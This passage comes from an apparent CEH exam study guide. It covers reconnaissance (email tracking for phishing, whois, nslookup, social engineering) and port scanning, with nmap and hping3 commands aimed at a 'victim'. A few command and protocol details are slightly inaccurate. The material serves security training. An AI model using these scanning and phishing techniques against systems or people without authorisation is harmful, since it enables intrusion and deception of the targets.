Software information
Some of the major search engines have an alert system that will keep you apprised of any
updates as they occur. The alert system allows you to enter a means of contacting you
along with one or more URLs you’re interested in and a time period over which to
monitor them. Search engines such as Google and Yahoo! include this service.
There is a downside, potentially, to using these services: You will have to
register with them to get the information. If you are trying to stay hidden, this may
be a disadvantage. Consider using a different account if you use these services.
Working with Email
Email is one of the tools that a business relies on today to get its mission done. Without
email many businesses would have serious trouble functioning in anything approaching a
normal manner. The contents of email are staggering and can be extremely valuable to an
attacker looking for more inside information. For a pentester or an attacker, plenty of
tools exist to work with email.
One tool that is very useful for this purpose is PoliteMail (www.politemail.com), which is
designed to create and track email communication from within Microsoft Outlook. This
utility can prove incredibly useful if you can obtain a list of email addresses from the
target organization. Once you have such a list, you can then send an email to the list that
contains a malicious link. When the email is opened, PoliteMail will inform you of the
event for each individual.
Another utility worth mentioning is WhoReadMe (http://whoreadme.com). This
application lets you track emails and also provides information such as operating system,
browser type, and ActiveX controls installed on the system.
Don’t forget that by searching discussion groups and other resources on
Google you may very well find emails posted that can also yield useful information.
Competitive Analysis
We’ve covered some great tools so far, but there is another way of gathering useful data
that may not seem as obvious: competitive analysis. The reports created through
competitive analysis provide information such as product information, project data,
financial status, and in some cases intellectual property.
Good places to obtain competitive information are the following:
EDGAR (the Electronic Data-Gathering, Analysis, and Retrieval system) contains
reports publicly traded companies make to the Securities and Exchange Commission
(SEC). Learn more at www.sec.gov/edgar.shtml.
LexisNexis maintains a database of public record information on companies that
includes details such as legal news and press releases. Learn more at www.lexisnexis
.com/en-us/home.page.
BusinessWire (www.businesswire.com/portal/site/home/) is another great resource
that provides information about the status of a company as well as financial and other
data.
CNBC (www.cnbc.com) offers a wealth of company details as well as future plans and
in-depth analysis.
If you want the best advice on how to research a company, the most
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effective resources typically are not found in the information security or IT area;
rather, they are in the finance area. If you treat a company with the same type of
scrutiny and interest that an investor in that corporation does, you can gain a
tremendous amount of information. In my experience as an amateur investor, I have
found that many of the techniques that I learned from my investing carried over to
my security career. If you want to sharpen your skills, consider reading a book or two
on stock investing and how to research your investments.
When analyzing these resources, look for specific types of information that can prove
insightful, such as the following:
When did the company begin? How did it evolve? Such information gives insight into
their business strategy and philosophy as well as corporate culture.
Who are the leaders of the company? Further background analysis of these individuals
may be possible.
Where are the headquarters and offices located?
In security, as in other areas, there is the idea of inference. Simply put, if
you cannot fully tell what your target company is up to, then look at its competitors
to see what they know. In the business world, corporate espionage is common, and
competitors often know things that the public doesn’t. By analyzing this information
or how a competitor is strategizing, you may be able to gain valuable insight into how
your target is moving or what their intentions are.
Gaining Network Information
An important step in footprinting is to gain information, where possible, about a target’s
network. Fortunately, there are plenty of tools available for this purpose, many of which
you may already be familiar with.
Whois This utility helps you gain information about a domain name, including
ownership information, IP information, netblock data, and other information where
available. The utility is freely available in Linux and Unix and must be downloaded as a
third-party add-on for Windows. (See Exercise 4.4.)
EXERCISE 4.4
Working with Whois
This exercise will demonstrate how to use the whois command to gain information
about a domain. If you are on Windows, you will need to download the utility from
the following link:
https://technet.microsoft.com/en-us/sysinternals/bb897435.aspx
1. Open a command prompt.
2. At the command prompt, enter Whois <domain name> and press Enter.
At this point you should see a listing of information about the domain you looked up.
In practice the information will provide data about the owner of the site as well as
information about the DNS servers handling the domain name. You should make
note of this information for later use.
Ping Utilizing ICMP, this utility is used to determine not only if a host is reachable, but
also if it is up or down.
Nslookup This utility is used to query DNS servers and gain information about various
parts of the DNS namespace or individual hosts. The name stands for Name Server
Lookup, which accurately describes its role. On the Unix and Linux platforms the DIG
command is used to perform the same function as nslookup. (See Exercise 4.5.)
EXERCISE 4.5
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Working with Nslookup
This exercise demonstrates how to use the nslookup command to gain information
about DNS:
1. At a command prompt, type nslookup, and then press Enter.
2. Type server <IP address>, where IP address is the IP address of your external
DNS server, and then press Enter.
3. Type set type=mx, and then press Enter.
4. Type <domain name>, where domain name is the name of your domain, and then
press Enter. The MX record for the domain you entered should be displayed.
So what does the result tell you? In this example the server names and IP addresses
returned are for the mail servers that process mail for the domain.
If you wish, you can also use the set type command to search for all DNS records for
a domain by replacing MX with A. You can also retrieve the start of authority record
for a domain by replacing MX with SOA.
Tracert This utility is designed to follow the path of traffic from one point to another,
including points in between. The utility provides information on the relative performance
and latency between hops. Such information can be useful if a specific victim is targeted
because it may reveal network information such as server names and related details. The
utility is freely available for all OSs.
There also are many non-command-line versions available of tracert if you find them
easier to use. Tools such as visual traceroute and others offer views of the information
that may be easier for some.
Social Engineering: the Art of Hacking Humans
Inside the system and working with it is the human being, which is frequently the easiest
component to hack. Human beings tend to be, on average, fairly easy to obtain
information from. Although Chapter 10, “Social Engineering,” delves into this topic in
greater depth, I want to introduce some basic techniques that can prove useful at this
stage of information gathering:
Eavesdropping This is the practice of covertly listening in on the conversations of
others. It includes listening to conversations or just reading correspondence in the form
of faxes or memos. Under the right conditions, you can glean a good amount of insider
information using this technique.
Phishing Phishing is the process of sending emails to a group of email addresses and
making the message look legitimate enough that the recipient will click a link in the
email. Once the victim clicks the link, they are typically enticed into providing
information of a personal nature under a pretense such as their bank requesting personal
data to reset their account or such.
In practice as a penetration tester, you would use methods such as spear phishing or
whaling. Spear phishing means that you would only send phishing emails to an individual
company or organization and make the email look like it comes from some vendor or
person they work with to get them to provide info. Whaling targets only those within an
organization who are almost certain to have valuable information and works using the
same methods.
Shoulder Surfing This is the act of standing behind a victim while they interact with a
computer system or other medium while they are working with secret information.
Shoulder surfing allows you to gain passwords, account numbers, or other secrets.
Dumpster Diving This is one of the oldest means of social engineering, but it’s still an
effective one. Going through a victim’s trash can easily yield bank account numbers,
phone records, source code, sticky notes, CDs, DVDs, and other similar items. All of this is
potentially damaging information in the wrong hands.
Summary
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This chapter explored the process of gaining information about a target. As you saw, the
first step is to use search engines to gain initial information about a target with the goal
of seeing what is available and how the data you discover can guide your future efforts.
In the next phase you move on to gathering information from other sources such as email
and financial resources. As you learned, email-tracking tools and notifications allow you
to build a profile of target organizations and see how they respond to messages (which
may assist in phishing efforts later).
Once you’ve gathered enough information, you try to refine the results to get to the
information you truly want or can act on. Using techniques such as Google hacking and
social engineering, you can gain even more insight.
Exam Essentials
Understand the process of footprinting. Know how footprinting functions and what
the ultimate goals of the process are. Understand the various types of information that
may be obtained.
Understand the benefit of checking social media. Know that social media is a
powerful tool both for sharing and for finding out what people are up to. Use it to gain
information about a target.
Know how to gain information about a network You must not only know but also
have a command of tools such as nslookup, ping, tracert, and others. Learn how to use
each and experiment with different switches.
Know the different places and sources through which to gain information.
Understand that a complete profile of an organization cannot be built from one source
and that you must access and investigate many different sources to get a complete
picture. You can use websites, people, and other sources to fill out the picture of your
target.
Know how to do competitive analysis. Understand that if you run into a black hole
and cannot get a complete picture from analyzing a target directly, you can get
information from competitors. Competitors and outside sources may have done research
for you in the form of competitive analysis.
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Review Questions
1. Which of the following best describes footprinting?
A. Enumeration of services
B. Discovery of services
C. Discussion with people
D. Investigation of a target
2. Which of the following is not typically used during footprinting?
A. Search engines
B. Email
C. Port scanning
D. Google hacking
3. Why use Google hacking?
A. To fine-tune search results
B. To speed up searches
C. To target a domain
D. To look for information about Google
4. What is the role of social engineering?
A. To gain information about computers
B. To gain information about social media
C. To gain information from human beings
D. To gain information about posts and cameras
5. What is EDGAR used to do?
A. Validate personnel
B. Check financial filings
C. Verify a website
D. Gain technical details
6. Which of the following can be used to tweak or fine-tune search results?
A. Archiving
B. Operators
C. Hacking
D. Refining
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7. Which of the following can an attacker use to determine the technology and structure
within an organization?
A. Job boards
B. Archives
C. Google hacking
D. Social engineering
8. Which of the following can be used to assess physical security?
A. Web cams
B. Satellite photos
C. Street views
D. Interviews
9. Which of the following can help you determine business processes of your target
through human interaction?
A. Social engineering
B. Email
C. Website
D. Job boards
10. The Wayback Machine is used to do which of the following?
A. Get job postings
B. View websites
C. View archived versions of websites
D. Back up copies of websites
11. Which record will reveal information about a mail server for a domain?
A. A
B. Q
C. MS
D. MX
12. Which tool can be used to view web server information?
A. Netstat
B. Netcraft
C. Warcraft
D. Packetcraft
13. What can be configured in most search engines to monitor and alert you of changes to
content?
A. Notifications
B. Schedules
C. Alerts
D. HTTP
14. What phase comes after footprinting?
A. System hacking
B. Enumeration
C. Scanning
D. Transfer files
15. If you can’t gain enough information directly from a target, what is another option?
A. EDGAR
B. Social engineering
C. Scanning
D. Competitive analysis
16. What is the purpose of social engineering?
A. Gain information from a computer through networking and other tools
B. Gain information from the web looking for employee names
C. Gain information from a job site using a careful eye
D. Gain information from a human being through face-to-face or electronic means
17. Which of the following would be a very effective source of information as it relates to
social engineering?
A. Social networking
B. Port scanning
C. Websites
D. Job boards
18. Footprinting can determine all of the following except __________?
A. Hardware types
B. Software types
C. Business processes
D. Distribution and number of personnel
19. Footprinting has two phases. What are they?
A. Active and pseudonymous
B. Active and passive
C. Social and anonymous
D. Scanning and enumerating
20. Which tool can trace the path of a packet?
A. Ping
B. Tracert
C. Whois
D. DNS
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Chapter 5
Scanning
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CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
II. Analysis/Assessment
B. Systems analysis
III. Security
J. Vulnerability scanners
IV. Tools/Systems/Programs
J. Port scanning (e.g., nmap)
M. Vulnerability scanner
N. Vulnerability management and protection systems
Once you’ve completed the footprinting phase and you’ve gathered a
good amount of information about your target, it’s time to act on this information. This is
the point where you try to ascertain what assets the target has and what is of value.
The scanning process is possible in part because of the wealth of information you
gathered in Chapter 4, “Footprinting,” and how you are able to interpret that data. Using
information found on discussion groups, through emails, at job-posting sites, and other
means, you now have an idea of how to fine-tune your scan.
To successfully negotiate the scanning phase, you need a good understanding of
networks, protocols, and operating systems. I recommend that if your knowledge of
network and system fundamentals is shaky you go back and review Chapter 2, “System
Fundamentals,” before you proceed. This chapter brings forward some of that
information, but I will place our primary focus on scanning and gaining information, not
on past topics.
To follow along in this chapter, you will need to download nmap from
http://nmap.org for your operating system. Experience in using this utility is
essential to your successful completion of the CEH exam and to your future role as
an ethical hacker.
What Is Scanning?
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Scanning is a process that involves engaging and probing a target network with the intent
of revealing useful information and then using that information for later phases of the
pen test. Armed with a knowledge of network fundamentals, a scanner, and the results of
a thorough footprinting, it is possible to get a decent picture of a target.
It is not unknown for an ethical hacker to engage in the network scanning
phase and emerge with a better diagram of the network environment than the client
has. Why is this possible? With the rapid growth of networks, adoption of
technology, large support teams, and personnel turnover, the client’s knowledge of
their own network may have become obscured somewhat. In some cases the people
who designed the network created the initial diagram, but after they left the company
or went to new positions, the diagram was never updated as new technology was
adopted. More commonly, changes are made to a network and hosts, with network
diagrams being an afterthought. Therefore, the diagram becomes outdated and highly
inaccurate. As an ethical hacker you should be prepared to encounter this situation
as well as be ready to suggest improvements to policy and operating procedures that
would prevent this from recurring. Remember that if the client doesn’t know what
their own environment looks like, they have no idea what should and shouldn’t be
there.
Types of Scans
Not all scans will be looking for the same thing or attempting to achieve the same result,
so it is important that you understand what your options are going into the process. All
scans share the same general theme, which is to gain information about a host or group
of hosts, but if you dig a little deeper differences start to emerge. Each scan will provide a
different level and type of information than the others, and thus each will provide some
value to you.
To keep things simple, let’s break the types of scans into three different categories, each
with its own characteristics:
Port Scan Port scanning is the process of sending carefully crafted messages or packets
to a target computer with the intent of learning more about it. These probes are typically
associated with well-known port numbers or those less than or equal to 1024. Through
the careful application of this technique, you can learn about the services a system offers
to the network as a whole. It is even possible that during this process you can tell systems
such as mail servers, domain controllers, and web servers from one another. In this book
the primary tool we will use in port scanning is Fyodor’s nmap, which is considered by
many to be the definitive port scanner.
More than likely when the topic of scanning is mentioned, this is the type of scan many
think of. While many different scanners on the market perform the same task, nmap is
far and away the most frequently used.
Network Scan Network scanning is designed to locate all the live hosts on a network
(the hosts that are running). This type of scan will identify those systems that may be
attacked later or those that may be scanned a little more closely.
Scans that fit into this category are those such as ping sweeps, which rapidly scan a range
of IPs and determine if an address has a powered-on host attached to it or not. Tools to
perform this type of scan include nmap and Angry IP as well as others.
Vulnerability Scan A vulnerability scan is used to identify weaknesses or
vulnerabilities on a target system. This type of scan is quite commonly done as a proactive
measure, with the goal of catching problems internally before an attacker is able to locate
those same vulnerabilities and act on them. A typical vulnerability scan will discover
hosts, access points, and open ports; analyze service response; classify threats; and
generate reports.
Vulnerability scans are popular with companies because they can perform them on their
own quite easily to assess their systems. Two commonly used vulnerability scanners
include Tenable’s Nessus and Rapid7’s Nexpose. In addition there are specialized
scanners such as Burp Suite, Nikto, and WebInspect.
To clarify some potential confusion that may arise in your career as an
ethical hacker, let me explain the difference between a vulnerability scan and a
penetration test. A vulnerability scan is designed to reveal weaknesses present in a
network or host but not to exploit those weaknesses. A penetration test is designed to
not only find weaknesses but also to exploit them much as an actual attacker would.
What types of information can you expect to come away with as part of a penetration
test? There’s no simple answer to that question, but we can make some general
assumptions on what may be uncovered. During the scanning process it is possible to
encounter information such as the following:
Live hosts on a network
Information on the open/closed ports on a host
Information on the operating system(s) and the system architecture
Services or processes running on hosts
Types and seriousness of vulnerabilities
Information about patches present on a system
Presence of firewalls
Addresses of routers and other devices
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Looking at this list, it is easy to see why scanning is considered part of the intelligencegathering process an attacker uses to gain information about a target. Your skill, tenacity,
and creativity (in some cases) will determine how successful you will be when performing
a scan, so if you hit a roadblock during scanning, rethink the problem and determine your
next step. Remember to refer to the information you harvested during the earlier
footprinting phase for guidance.
Expect the information that is gathered during this phase to take a good amount of time
to analyze, depending on how good you are at reading the resulting information. Your
knowledge will help you not only to better target your initial scans but also to better
determine how to decipher certain parts of the results, as you will see later.
Checking for Live Systems
To begin, let’s start looking for targets to investigate and probe. Remember that while you
may have gathered information during the previous phase that described the IP or range
of IPs that an organization owns or is connected to, this does not mean that each address
has a host behind it. In order to proceed in any meaningful way, you need to find which
IPs actually have a “pulse” and which do not.
So how do you check for live systems in a targeted environment? It turns out that there
are plenty of ways to accomplish this task. However, the commonly accepted ways of
accomplishing this task are these:
Wardialing
Wardriving
Pinging
Port scanning
Each of these techniques provides information not obtainable by the other methods, or at
least they don’t offer it as easily. Once you understand the differences, you should have a
much better idea of how to deploy these methods in a penetration test.
When looking at these methods, keep in mind that you should be paying
attention to the areas in which each is strong and those areas in which each is weak.
Deploying the wrong method could easily waste time as well as alert the system
owner to your presence, thus giving them time to react to your presence.
Wardialing
The first type of scan is an old but useful one known as wardialing. Wardialing has existed
in an almost unchanged state since the mid-1980s and has stayed around so long because
it has proven to be a useful information-gathering tool. In practice, wardialing is
extremely simple compared to the other forms of scanning in that it simply dials a block
of phone numbers using a standard modem to locate systems that also have a modem
attached and accept connections. On the surface, this type of technique seems to be a
digital dinosaur, but don’t let that fool you—the technique is still very useful. Understand
that modems are still used for a number of reasons, including the low cost of the
technology, ease of use, and the availability of phone lines, which are pretty much
everywhere. Modems are still so commonly used that an attacker can easily dial a block of
phone numbers in just about any town and locate a good number of computers still using
dial-up to attach to the outside world.
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Modems and dial-up are still used as a backup to existing technologies such
as cable, digital subscriber lines (DSL), and T1 and T3 lines. The idea is that if all
other connectivity options fail, the phone lines should still be available barring a
major accident or outage. Companies find the low cost and reliability of the
technology to be a nice safety net to have in the event of an outage. Don’t forget that
phone lines are quite often used for fax machines and multi-function devices in
many offices and environments.
Once you find a modem and get a response, the question becomes what to do with that
information. To answer that, you need to know what devices modems are commonly
attached to in the modern world. Private branch exchanges (PBXs) often have modems
attached (the nondigital ones), which can provide a good opportunity for mischief on
behalf of the attacking party. Other devices that sometimes have modems attached are
firewalls, routers, and fax machines. If an attacker dials into a firewall and gains access,
an environment can quickly become unprotected.
Something to consider when an attacker gains access to a system is that they may be
using it as a pivot point. A pivot point is a compromised system that is then used to target
other systems that may be deeper in the targeted environment. In the case of systems
such as those mentioned here, it is possible that an attacker could gain access to the
device or system and start committing further aggressive actions.
A modem should always be considered a viable backdoor access method to a
given environment because they are frequently used that way by their owners.
Although Grandma and Grandpa may still use them to access the Internet, they are
more frequently used as methods to access a network when all other means are
unavailable.
A number of wardialing programs have been created over the years. Here are three of the
best-known ones:
ToneLoc A wardialing program that looks for dial tones by randomly dialing numbers or
dialing within a range. It can also look for a carrier frequency of a modem or fax. ToneLoc
uses an input file that contains the area codes and number ranges you want it to dial.
THC-SCAN A DOS-based program that can use a modem to dial ranges of numbers in
search of a carrier frequency from a modem or fax.
NIKSUN’s PhoneSweep One of the few commercial options available in the wardialing
market.
Wardialing still works as a valid penetration method into an organization for several
reasons, but let’s focus on one of the bigger reasons: the lack of attention or respect these
devices get. You may see wardialing or modems as ancient technology, conjuring mental
images of slow, screeching connections and dial-up services such as AOL and
CompuServe. Although these ancient images are valid, don’t let them lull you into a false
sense of security. In today’s corporate world, it is not uncommon to find these devices not
only present but in many cases completely unmonitored or even unrecorded, meaning
they are off the radar. In many cases, modems exist within a given environment for years
until someone in accounting asks why the company is paying for a dial-up connection or
who a certain phone number is assigned to.
You will be questioned about wardialing on the CEH exam since it is a valid
mechanism for attacking a network and more than likely will be for quite a while to
come.
Using Ping
A more familiar tool to perform scanning is ping. Ping is a utility that can be used to
determine network connectivity by determining if a remote host is up or down. While a
very simple utility, it is perfect for performing the initial scanning process.
Ping works by using an Internet Control Message Protocol (ICMP) message, which is why
this technique is also called ICMP scanning. The process works by using one system to
send an ICMP echo request to another system; if that system is live, it will send back an
ICMP echo reply. Once this reply is received, the system is confirmed to be up, or live.
Pinging is useful because it can tell you not only whether a system is up but also the
speed of the packets from one host to another and information about time to live (TTL).
To use the ping command in Windows, enter the following at the command prompt:
ping <target IP>
or
ping <target hostname>
In most Linux versions, the command is essentially the same; however, it will repeatedly
ping the remote client until you use Ctrl+C to terminate the process.
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Although you can ping by either IP address or hostname, it is better to get in
the habit of pinging by IP address first before moving to the hostname method. If
you use the hostname first and receive no reply, this may indicate a DNS problem
rather than an unavailable system. On the other hand, pinging by IP address should
always tell you whether the system is available.
Also it is worth mentioning that if you ping a system and it doesn’t respond and you
know that system is available, it may be due to the system having the ping service
disabled. If this is the case or ping is being filtered out by a firewall or router, you will
not get a response.
There is another way to ping a remote system that you should be aware of: performing a
ping using nmap. At the Windows or Linux command prompt, enter the following:
nmap –sP –v <target IP address>
If the command successfully finds a live host, it returns a message stating that the IP
address is up and provides the media access control (MAC) address and the network card
vendor (if it is able to determine this last piece of information).
I can’t stress this enough for the CEH exam: You must know how to use
nmap. If you don’t, you will have serious trouble in your exam preparation and testtaking process—not to mention you will need the skills for the real world. Think of
nmap as a Swiss army knife. It does a lot of different things, each helpful in its own
way. I highly recommend taking nmap for a long test drive during your studying,
learning what each switch and option does and what the results look like. If you want
to go above and beyond, visit http://nmap.org and read the reference guide, which
goes far beyond the scope of material presented in this section.
Up one level from the ICMP scan is the ping sweep, so named because you use this
technique to scan or sweep a range of IPs looking for live hosts. Once again nmap proves
helpful by allowing you to perform a quick scan. To do this with nmap, simply enter the
following command:
nmap –sP –PE –PA<port numbers> <starting IP/ending IP>
Here’s an example, with port numbers and IP addresses specified:
nmap –sP –PE –PA21,23,80,3389 <192.168.10.1-50>
Ping sweeps are incredibly effective in that they can build an inventory of systems
quickly; however, there are some potential drawbacks. First, you must overcome the fact
that many network administrators block ping at the firewall, so pinging hosts from
outside the network is impossible without extra effort. Second, an intrusion-detection
system (IDS) or intrusion-prevention system (IPS) will often be present on larger
networks or in enterprise environments, and these systems will alert the system owner
and/or shut your scan down. Finally, due to the way the scan works, there really isn’t any
capability in the scan to detect systems that are down; in such cases the ping will hang for
a few moments before informing you that it cannot reach a host.
Hping3: the Heavy Artillery
Ping is not the only game in town. In fact, it is limited somewhat, and therefore a more
advanced tool such as hping3 can be useful. In a nutshell, hping is a command-line-based
TCP/IP packet crafter. This means it not only has the ability to send packets across a
network but also allows for the creation of customized packets that can be used to assess
the behavior of a remote host. hping isn’t only able to send ICMP echo requests like ping;
rather it supports TCP, UDP, ICMP, and RAW-IP protocols, has a traceroute mode, and
has the ability to transfer files.
While we will examine hping again in coming chapters, let’s take a look at a couple of its
features that will prove useful at this point.
First, let’s see how we can make hping3 act like ping. The following command will cause
the utility to transmit an ICMP request and receive a reply:
hping3 -1 <domain name>
Next, let’s check to see if there is a firewall blocking ping requests. We can do this by
attempting to get a packet with an ACK flag sent to the target. In this example the
switches used are -A for ACK, -V for verbose, -p followed by a target port number, and -s
for the port on the source computer where the packet will originate. In this example port
80 on the target and port 5050 on the attacker system are used:
hping3 -c 1 -V -p 80 -s 5050 -A <domain name>
If this command receives a reply, then the system is alive and the port target is open.
However, if no response is returned, there may very well be a firewall in between the
scanner and the target.
hping3 and its predecessors were designed to run on the Linux operating
system, but they are not restricted to that platform. In fact, the utility can be run on
the Windows platform with some effort. Consult the documentation at hping.org on
how to get this to happen.
Once you have found a live system, you can perform a port scan to check for open ports.
Checking the Status of Ports
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Once you have located live systems on a network, it is time to take a closer look at these
hosts to determine if there are any open ports that may prove useful. Essentially what we
are doing when we zoom in on each live host is “rattling the doorknobs” on each to see
what ports are open and closed. And while we may be seeing which are open and closed,
we are not yet at the point where we are “turning the handle and peeking inside”; that is
still ahead.
You must know how port scans work and the different types of scans
available as well as why you would use one type over another. Pay careful attention
to the scans mentioned here because they each have little details that you may
overlook. Also remember to study, study, study these scans.
Before we start to perform some port scans, let’s take a moment or two to review some
fundamentals. Back in Chapter 2 you learned about TCP and UDP and their context
within the TCP/IP suite of protocols. If you recall, TCP is a connection-oriented protocol
and UDP is connectionless in nature. Knowing how these protocols function and the
significance of each will make fine-tuning and choosing the correct scan that much easier
for you and definitely more productive to boot.
Starting things off is the process used exclusively by TCP known as the three-way
handshake.
The three-way handshake is performed when you’re trying to establish a TCP connection
to a system or, specifically, a port on the system. The handshake establishes a successful
and reliable connection between two systems. The process involves three steps, as shown
in Figure 5.1.
Figure 5.1 The three-way handshake
Let’s take a closer look at the steps to see what is occurring:
1. Host A sends a SYN packet to Host B as a request to establish a connection.
2. Host B responds with a SYN-ACK as an acknowledgment of the request.
3. Host A responds with an ACK, which serves to fully establish the connection.
If these steps complete without error, then the TCP connection is established successfully
and information flow can occur.
If you were paying close attention to Figure 5.1 and the steps listed, you noticed the
inclusion of what seemed like acronyms in the form of SYN and ACK. SYN and ACK are
two of the indicators on a packet known as flags. These flags are essentially bits that are
set to on or off in the header of a TCP packet. The receiving system will use these flags to
determine how to process that specific packet. In a TCP packet it is possible to have every
packet turned on or every packet turned off, with any variation of on and off allowed in
most cases. This basic information is vital to you from this point forward because it will
have a direct impact on how useful your scanning process actually is when all is said and
done. Table 5.1 explains TCP flags.
Table 5.1 TCP flags
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Flag Use
SYN Initiates a connection between two hosts to facilitate communication.
ACK Acknowledges the receipt of a packet of information.
URG Indicates that the data contained in the packet is urgent and should be processed
immediately.
PSH Instructs the sending system to send all buffered data immediately.
FIN Tells the remote system that no more information will be sent. In essence, this
gracefully closes a connection.
RST Resets a connection.
These flags will figure prominently in this section as well as on the CEH
exam in several areas, such as sniffing and intrusion-detection systems. Study and
memorize each of them.
This information can be helpful in many areas, especially when you are using a packet
crafter. A packet crafter is a utility designed to create a packet with the flags you specify
set to on or off. You can use it to create custom packets with the flags set in different ways
in order to observe how a targeted system responds to the packet and what types of
results are returned.
Among the simplest utilities you can use are hping2 and hping3. Both of these utilities
are command-line only and offer a tremendous advantage in creating custom packets for
testing. Using hping3, for example, it is possible to generate many different types of
packets and send them to a target:
Create an ACK packet and send it to port 80 on the victim:
hping3 –A <target IP address> -p 80
Create a SYN scan against different ports on a victim:
hping3 -8 50-56 –s <target IP address> -v
Create a packet with FIN, URG, and PSH flags set and send it to port 80 on the victim:
hping3 –F –P -U <target IP address> -p 80
The Family Tree of Scans
With a good and hopefully firm grasp of flags and their significance in hand, we can now
move forward to analyzing and attempting some of the different types of scans. Now that
you have seen the various types of flags and how a packet crafter works in the form of
hping2 and hping3, let’s see how this information comes together.
Full-Open Scan
The first type of scan is known as a full-open scan, which is a fancy way of saying that the
systems involved initiated and completed the three-way handshake. The advantage of a
full-open scan is that you have positive feedback that the host is up and the connection is
complete. In many cases new penetration testers will attempt a full-open scan against a
target either on purpose or accidentally; this can be bad and even fatal to your test
because it can be detected and logged by firewalls and an IDS.
This process will complete the handshake for open ports, but what does it do for closed
ports? When a closed port is encountered, the sending party will transmit an ACK packet
to a specific port on the remote host; when this request encounters the closed port, an
RST will be sent back, terminating the attempt.
In order to perform a full-open scan you must choose to perform a TCP Connect scan
using the –sT switch, where the –s indicates the scan and the capital T states that the scan
type is TCP Connect.
The command to execute this scan type is:
nmap –sT <ip address or range>
When this command is executed, the host will be scanned and a report returned. Keep in
mind that when you perform this type of scan, it is very “noisy” and will show up in logs
just waiting to be discovered. Use this scan sparingly when no other scan will work or is
appropriate.
Stealth or Half-Open Scan
In this type of scan, the process is similar to the full-open scan with a major difference: It
is less noisy than a full-open scan. Thus, this scan type is also sometimes known as
stealth scanning or by the oft-used name SYN scan.
A half-open scan works by the same process as the full-open scan all the way up to the
end, where it differs in regard to the final step of the three-way handshake. Whereas the
full-open scan completes the three-way handshake with a final ACK message in response
to a SYN-ACK, the half-open does not. In a half-open scan the scanning system responds
with an RST message to the SYN-ACK message. This has the effect of informing the target
that the requesting party does not want to establish a connection. The result is that there
is a lot less to log, and since the final ACK packet was never sent, an open port has still
been confirmed, but no active connection has been made.
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However, if a port is closed rather than open, the three-way handshake starts with the
attacker sending a SYN, only to have the victim respond with an RST packet indicating
that the port is closed and not taking connections. Figure 5.2 illustrates this scanning
technique for open and closed ports.
Figure 5.2 Half-open scan against closed and open ports
As stated previously, the main advantage of this particular type of scanning is that it is
less likely to trigger detection mechanisms or end up being logged, but the downside is
that it is a little less reliable than a full-open scan, because confirmation is not received
during this process due to the lack of the final ACK.
To perform this type of scan in nmap use the syntax:
nmap –sS <ip address or range>
Xmas Tree Scan
This next scan gets its name from the phrase “lit up like a Christmas (Xmas) tree,”
meaning that numerous flags are set. In this type of scan, multiple flags are activated. In
other words, a single packet is sent to the client with URG, PSH, and FIN all set to on.
Having all the flags set creates an illogical or illegal combination, and the receiving
system has to determine what to do when this occurs. In most modern systems this
simply means that the packet is ignored or dropped, but on some systems the lack of
response tells you a port is open, whereas a single RST packet tells you the port is closed.
Figure 5.3 shows this process.
Figure 5.3 Xmas tree scan
To perform a Xmas tree scan with nmap, enter the following at the command line:
nmap –sX –v <target IP address>
So why do systems not respond to Xmas tree packets if the port is open but do respond if
it is closed? Since the combination of flags is essentially bogus, there really is no adequate
response. However, in the case of a closed port, a connection attempt is still just that, an
attempt, and thus the closed port will respond to indicate that connections of any type
aren’t allowed.
One thing to keep in mind with Xmas tree scans is that they don’t always illicit the same
response from all targets. The response can vary just a little or a lot from operating
system to operating system. The cause of this variance is that the developers of operating
systems and devices do not always strictly adhere to the Internet Protocol standard (RFC
791 or 793) that defines the expected behavior of the protocol. Since many vendors choose
to adjust their interpretation a bit here and there, the responses can be different when
closely analyzed. The benefit of this is that this can reveal the specific OS in use on the
target system.
In addition, an indicator that this type of scan is targeting your systems is that it
consumes more processing power on the part of the target. Not to mention that not only
does the increased processing power indicate something is amiss, but the fact that the
packets should not exist under normal circumstances makes them suspect.
Current versions of Windows (typically Windows XP or later) do not
respond to this type of attack.
FIN Scan
In this type of scan, the attacker sends packets to the victim with the FIN flag set. The
concept behind this type of scan is that SYN scans are still very visible (though not as
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visible as TCP connect scans); in order to obtain a lower profile, a packet with a FIN flag
set can be used. This type of scanning technique is effective not only because it is less
obvious, but also because it can reliably pass through firewalls without alteration and
then right on toward the intended target. SYN packets, on the other hand, are likely to get
higher levels of scrutiny when they encounter a firewall.
The result is somewhat similar to what happens in a Xmas tree scan. The victim’s
response depends on whether the port is open or closed. Much like the Xmas tree scan, if
an FIN is sent to an open port, there is no response, but if the port is closed, the victim
returns an RST. Figure 5.4 illustrates this process.
Figure 5.4 An FIN scan against a closed port and an open port
An FIN scan in nmap can be performed by issuing the following command:
nmap –sF <target IP address>
Hopefully, by now you are starting to see a bit of a pattern in how nmap
works. Specifically, let’s focus on the -s switch. This switch is used to define the scan
type that will be used. So far the scan types have been full-open (-sT), half-open (sS), Xmas tree ( -sX), and now FIN scans ( -sF). Note how each scan type tends to use
a capital letter that refers to the type of scan. Remember that come test time; it will
make your recollection of information easier.
NULL Scan
In this type of scan, the attacker sends frames to the victim with no flag set. The result is
somewhat similar to what happens in an FIN scan. The victim’s response depends on
whether the port is open or closed. Much like the FIN and Xmas tree scans, if no flags are
set on a frame that is sent to an open port, there is no response, but if the port is closed,
the victim returns an RST. Figure 5.5 illustrates this process.
Figure 5.5 A NULL scan against a closed and an open port
In nmap, to perform a NULL scan issue the following command:
nmap –sN <target IP address>
In practice, when this scan is being performed it is relatively easy to detect when running.
This ease of detection is primarily due to the fact that there is no reason for a TCP packet
with no flags set to exist on the network. TCP packets need flags set in order for the
receiver to determine what to do with the information received. All a defender needs to do
to become aware when this type of scan is running is to configure their countermeasures
to notify them when such a packet is encountered.
Idle Scanning
One type of scanning that is unique and very powerful is known as the idle scan. This type
of scan is effective because of its high degree of stealthiness as compared to other scans.
The way it achieves this ability to keep such a low profile is due to how it performs the
scan.
An idle scan is known for its ability to hide the identity of the attacking party by not
sending the packets from the actual attacking system. In practice this process is
performed by bouncing the scan off another host (commonly called a zombie) and then
on toward the target. If the victim of the scan investigates the activity generated by the
process, they will trace the scan back not to the actual attacker but to the zombie system
instead. Besides being extraordinarily stealthy, this scan permits discovery of IP-based
trust relationships between machines.
While idle scanning is much more complex than any of the previously introduced
scanning techniques, it is not incredibly difficult to understand in practice.
The scan depends on three basic points:
One way to determine whether a TCP port is open is to send an SYN (session
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establishment) packet to the port. The target machine will respond with an SYN/ACK
(session request acknowledgment) packet if the port is open, and an RST (reset) if the
port is closed.
A machine that receives an unsolicited SYN/ACK packet will respond with an RST. An
unsolicited RST will be ignored.
